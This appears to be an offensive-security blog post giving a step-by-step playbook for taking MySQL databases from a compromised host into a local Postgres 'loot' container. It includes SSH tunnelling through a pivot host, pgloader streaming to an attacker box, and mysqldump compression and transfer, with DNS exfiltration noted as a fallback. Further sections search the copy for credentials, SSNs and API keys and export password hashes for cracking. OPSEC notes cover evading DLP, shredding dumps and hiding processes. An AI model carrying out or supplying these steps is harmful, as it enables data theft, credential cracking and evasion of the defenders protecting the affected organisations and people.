Shell access is rarely the prize. The database is. Customer records, IP, plaintext creds in a forgotten config table — that’s the stuff that actually moves an engagement forward.
A lot of the time you’ll land on something running MySQL. You can query it in place, but that’s how analysts notice you. A long analytical query spikes CPU, locks a table somebody’s app needs, and suddenly the on-call DBA is looking at the wrong process. Better to pull the data off and beat on it locally.
This post is about doing that with Docker and pgloader: spin up a throwaway Postgres in a container, point pgloader at the target, and end up with a local copy you can hammer on without anyone noticing. I prefer Postgres on the receiving end because regex matching, full-text search, and information_schema queries all feel less painful than the MySQL equivalents — and pgloader does the type-conversion grunt work for free.
pgloader is in maintenance mode. The last tagged release (3.6.9) is from October 2022 and there’s been no new version since, though the repo still gets the occasional commit. It still works fine for the workflows in this post, but don’t expect a flood of new features. If it ever stops being viable, the fallback is mysqldump + manual cleanup or a hand-rolled ETL.
1. Local infrastructure#
Before moving anything, you need somewhere to put it. Docker keeps the mess off your host.
Spin up Postgres#
Mount a volume so a container restart doesn’t take your loot with it.
# Local directory for persistence
mkdir -p ~/loot/postgres_data
# Any current major works. 16 is a safe default; 17 and 18 are also fine.
docker run --name postgres-exfil \
-e POSTGRES_PASSWORD=SuperSecretPassword123 \
-v ~/loot/postgres_data:/var/lib/postgresql/data \
-p 5432:5432 \
-d postgres:16SSH tunnel for live migration#
If you’ve got a live foothold and the target’s MySQL is on a pivot host’s loopback, forward the port:
ssh -L 3306:127.0.0.1:3306 user@pivot-hostIf the database is on a different host inside the network, adjust the -L accordingly or chain through a ProxyJump.
2. The live migration#
When you’ve got bandwidth and a stable connection, pgloader will stream straight from the target into your container. It’s the fastest path.
Install it on your attacker box:
sudo apt-get install pgloaderThen point it at both ends. pgloader handles the schema translation — INT(11) becomes integer, DATETIME becomes timestamp, and so on:
# pgloader source target
pgloader mysql://root:password@127.0.0.1/target_db \
postgresql://postgres:SuperSecretPassword123@127.0.0.1/target_db_exfilWhat’s actually happening: pgloader connects to MySQL through the SSH tunnel, connects to your local Postgres, reads the source schema, creates equivalent tables, and then batches the rows over. It’s not magic, but it’s a lot less fiddly than mysqldump | sed | psql.
Older MySQL servers sometimes throw SSL errors. Append ?useSSL=false to the source URI and try again.
3. The offline migration#
Sometimes a tunnel isn’t an option — egress is filtered, the connection is too flaky for a long stream, or you only get one short window on the box. In that case, dump to a file, exfil the file, and load it locally.
Dump on the target#
mysqldump -u root -p --default-character-set=utf8 target_db > dump.sqlIf you’re on MySQL 5.7 or older you can add --compatible=postgresql to smooth over a few dialect edges, but in MySQL 8.0+ that flag was removed (only --compatible=ansi remains). Either way, pgloader does the real translation on import, so don’t overthink the dump options.
Get it out#
scp, rsync, S3, whatever channel you’re using. Just compress it first; SQL dumps are mostly text and squash hard:
gzip dump.sql
# Move dump.sql.gz to your attacker machineIf you’re really stuck — no outbound TCP, no HTTP — DNS exfil with base64 chunks works, but expect it to be slow and noisy.
Load it#
gunzip dump.sql.gz
pgloader dump.sql postgresql://postgres:SuperSecretPassword123@127.0.0.1/target_db_exfil4. Working the data#
Now you can run the queries you wouldn’t dare run on prod.
Find columns that look interesting across the whole schema:
psql -h 127.0.0.1 -U postgres -d target_db_exfil
SELECT table_name, column_name
FROM information_schema.columns
WHERE column_name ~* 'pass|ssn|credit|email|token|secret|api[_]?key';If the application stored its own user passwords (and it usually did, badly), pull them out for cracking:
COPY (SELECT username, password FROM users) TO '/tmp/hashes.txt';The other thing local analysis buys you is joins that would be unreasonable on a live system. Cross-reference users against access logs, look for shared passwords across tables, build a timeline of admin activity. The kind of work that earns you a phone call when you do it on production.
5. OPSEC notes#
A few things worth keeping in mind:
A live migration is a sustained, high-volume outbound flow. NetFlow tools will see it; if the target has any kind of DLP, this is exactly the shape it’s looking for. Throttle pgloader (
--with "rows per range = 1000") if you need to stay under a threshold.mysqldumpwrites a file to disk. Wherever you put it, scrub it after transfer —shred -u dump.sql dump.sql.gzif the filesystem supports it, otherwise overwrite-and-delete.mysqldump,ssh, andpgloaderall show up inps. Don’t run them under your shell session and walk away.When you’re done with the local copy, stop the container but keep the volume if there’s any chance you’ll want to come back to it:
docker stop postgres-exfil # ~/loot/postgres_data is still thereEncrypt the loot directory at rest. A LUKS container or a
gocryptfsmount is fine.